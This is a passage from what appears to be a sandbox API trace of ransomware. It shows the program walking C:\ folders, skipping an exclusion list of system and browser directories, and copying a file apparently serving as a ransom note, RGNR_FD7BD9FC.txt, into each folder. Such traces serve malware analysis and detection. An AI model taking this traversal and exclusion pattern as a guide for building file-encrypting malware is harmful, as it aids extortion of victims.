ftLastWriteTime.dwLowDateTime=0x6ec77a20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1268 [0047.875] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.875] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec77a20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.875] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.875] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.875] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0047.875] lstrcmpiW (lpString1="All Users", lpString2=".") returned 1 [0047.875] lstrcmpiW (lpString1="All Users", lpString2="..") returned 1 [0047.875] lstrcmpiW (lpString1="All Users", lpString2="Windows") returned -1 [0047.875] lstrcmpiW (lpString1="All Users", lpString2="Windows.old") returned -1 [0047.876] lstrcmpiW (lpString1="All Users", lpString2="Tor browser") returned -1 [0047.876] lstrcmpiW (lpString1="All Users", lpString2="Internet Explorer") returned -1 [0047.876] lstrcmpiW (lpString1="All Users", lpString2="Google") returned -1 [0047.876] lstrcmpiW (lpString1="All Users", lpString2="Opera") returned -1 [0047.876] lstrcmpiW (lpString1="All Users", lpString2="Opera Software") returned -1 [0047.876] lstrcmpiW (lpString1="All Users", lpString2="Mozilla") returned -1 [0047.876] lstrcmpiW (lpString1="All Users", lpString2="Mozilla Firefox") returned -1 [0047.876] lstrcmpiW (lpString1="All Users", lpString2="$Recycle.Bin") returned 1 [0047.876] lstrcmpiW (lpString1="All Users", lpString2="ProgramData") returned -1 [0047.876] lstrcmpiW (lpString1="All Users", lpString2="All Users") returned 0 [0047.876] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6ec77a20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.876] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.876] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.876] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6ec77a20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.876] FindClose (in: hFindFile=0x5a1268 | out: hFindFile=0x5a1268) returned 1 [0047.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*.*", lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec77a20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1268 [0047.876] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec77a20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.876] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0047.876] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6ec77a20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.876] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\MSOCache\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\MSOCache\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0x13 [0047.876] lstrcpyW (in: lpString1=0x1ed668, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.876] PathFindExtensionW (pszPath="\\\\?\\C:\\MSOCache\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.876] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.876] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6ec77a20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.876] FindClose (in: hFindFile=0x5a1268 | out: hFindFile=0x5a1268) returned 1 [0047.876] FindNextFileW (in: hFindFile=0x5a1228, lpFindFileData=0x1ee328 | out: lpFindFileData=0x1ee328*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4ecf3280, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0047.876] lstrcmpiW (lpString1="pagefile.sys", lpString2=".") returned 1 [0047.876] lstrcmpiW (lpString1="pagefile.sys", lpString2="..") returned 1 [0047.876] FindNextFileW (in: hFindFile=0x5a1228, lpFindFileData=0x1ee328 | out: lpFindFileData=0x1ee328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2=".") returned 1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2="..") returned 1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2="Windows") returned -1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2="Windows.old") returned -1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2="Tor browser") returned -1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2="Internet Explorer") returned 1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2="Google") returned 1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2="Opera") returned 1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2="Opera Software") returned 1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2="Mozilla") returned 1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2="Mozilla Firefox") returned 1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2="$Recycle.Bin") returned 1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2="ProgramData") returned -1 [0047.877] lstrcmpiW (lpString1="PerfLogs", lpString2="All Users") returned 1 [0047.877] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\*.*", nBufferLength=0x104, lpBuffer=0x1ee120, lpFilePart=0x1ee5cc | out: lpBuffer="\\\\?\\C:\\*.*", lpFilePart=0x1ee5cc*="*.*") returned 0xa [0047.877] lstrcpyW (in: lpString1=0x1ee12e, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0047.877] lstrcatW (in: lpString1="\\\\?\\C:\\PerfLogs", lpString2="\\" | out: lpString1="\\\\?\\C:\\PerfLogs\\") returned="\\\\?\\C:\\PerfLogs\\" [0047.877] lstrcpyW (in: lpString1=0x1edf14, lpString2="\\\\?\\C:\\PerfLogs\\" | out: lpString1="\\\\?\\C:\\PerfLogs\\") returned="\\\\?\\C:\\PerfLogs\\" [0047.877] lstrcatW (in: lpString1="\\\\?\\C:\\PerfLogs\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\PerfLogs\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\PerfLogs\\RGNR_FD7BD9FC.txt" [0047.877] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\PerfLogs\\RGNR_FD7BD9FC.txt" (normalized: "c:\\perflogs\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.881] lstrcatW (in: lpString1="\\\\?\\C:\\PerfLogs\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\PerfLogs\\*.*") returned="\\\\?\\C:\\PerfLogs\\*.*" [0047.881] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*.*", nBufferLength=0x104, lpBuffer=0x1ed234, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\PerfLogs\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0x13 [0047.882] lstrcpyW (in: lpString1=0x1ed02c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.882] lstrcpyW (in: lpString1=0x1ed254, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.882] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*.*", lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec77a20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1268 [0047.882] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.882] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec77a20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.882] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.882] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.882] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0047.882] lstrcmpiW (lpString1="Admin", lpString2=".") returned 1 [0047.882] lstrcmpiW (lpString1="Admin", lpString2="..") returned 1 [0047.882] lstrcmpiW (lpString1="Admin", lpString2="Windows") returned -1 [0047.882] lstrcmpiW (lpString1="Admin", lpString2="Windows.old") returned -1 [0047.882] lstrcmpiW (lpString1="Admin", lpString2="Tor browser") returned -1 [0047.883] lstrcmpiW (lpString1="Admin", lpString2="Internet Explorer") returned -1 [0047.884] lstrcmpiW (lpString1="Admin", lpString2="Google") returned -1 [0047.884] lstrcmpiW (lpString1="Admin", lpString2="Opera") returned -1 [0047.884] lstrcmpiW (lpString1="Admin", lpString2="Opera Software") returned -1 [0047.884] lstrcmpiW (lpString1="Admin", lpString2="Mozilla") returned -1 [0047.884] lstrcmpiW (lpString1="Admin", lpString2="Mozilla Firefox") returned -1 [0047.884] lstrcmpiW (lpString1="Admin", lpString2="$Recycle.Bin") returned 1 [0047.884] lstrcmpiW (lpString1="Admin", lpString2="ProgramData") returned -1 [0047.884] lstrcmpiW (lpString1="Admin", lpString2="All Users") returned -1 [0047.884] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\PerfLogs\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0x13 [0047.884] lstrcpyW (in: lpString1=0x1ed668, lpString2="Admin" | out: lpString1="Admin") returned="Admin" [0047.884] lstrcatW (in: lpString1="\\\\?\\C:\\PerfLogs\\Admin", lpString2="\\" | out: lpString1="\\\\?\\C:\\PerfLogs\\Admin\\") returned="\\\\?\\C:\\PerfLogs\\Admin\\" [0047.884] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\PerfLogs\\Admin\\" | out: lpString1="\\\\?\\C:\\PerfLogs\\Admin\\") returned="\\\\?\\C:\\PerfLogs\\Admin\\" [0047.884] lstrcatW (in: lpString1="\\\\?\\C:\\PerfLogs\\Admin\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\PerfLogs\\Admin\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\PerfLogs\\Admin\\RGNR_FD7BD9FC.txt" [0047.884] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\PerfLogs\\Admin\\RGNR_FD7BD9FC.txt" (normalized: "c:\\perflogs\\admin\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.886] lstrcatW (in: lpString1="\\\\?\\C:\\PerfLogs\\Admin\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\PerfLogs\\Admin\\*.*") returned="\\\\?\\C:\\PerfLogs\\Admin\\*.*" [0047.886] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\PerfLogs\\Admin\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x19 [0047.886] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.886] lstrcpyW (in: lpString1=0x1ec788, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec9db80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.886] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.886] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec9db80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.887] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.887] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.887] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec9db80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.887] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.887] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.887] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec9db80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.887] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.887] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec9db80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.887] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec9db80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.887] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec9db80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.887] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\PerfLogs\\Admin\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x19 [0047.887] lstrcpyW (in: lpString1=0x1ecb9c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.887] PathFindExtensionW (pszPath="\\\\?\\C:\\PerfLogs\\Admin\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.887] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.887] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec9db80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.887] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.887] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec77a20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.887] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.887] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.887] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec77a20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.887] FindClose (in: hFindFile=0x5a1268 | out: hFindFile=0x5a1268) returned 1 [0047.887] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*.*", lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec77a20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1268 [0047.887] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec77a20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.887] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec9db80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0047.887] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec77a20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.888] GetFullPathNameW (in: 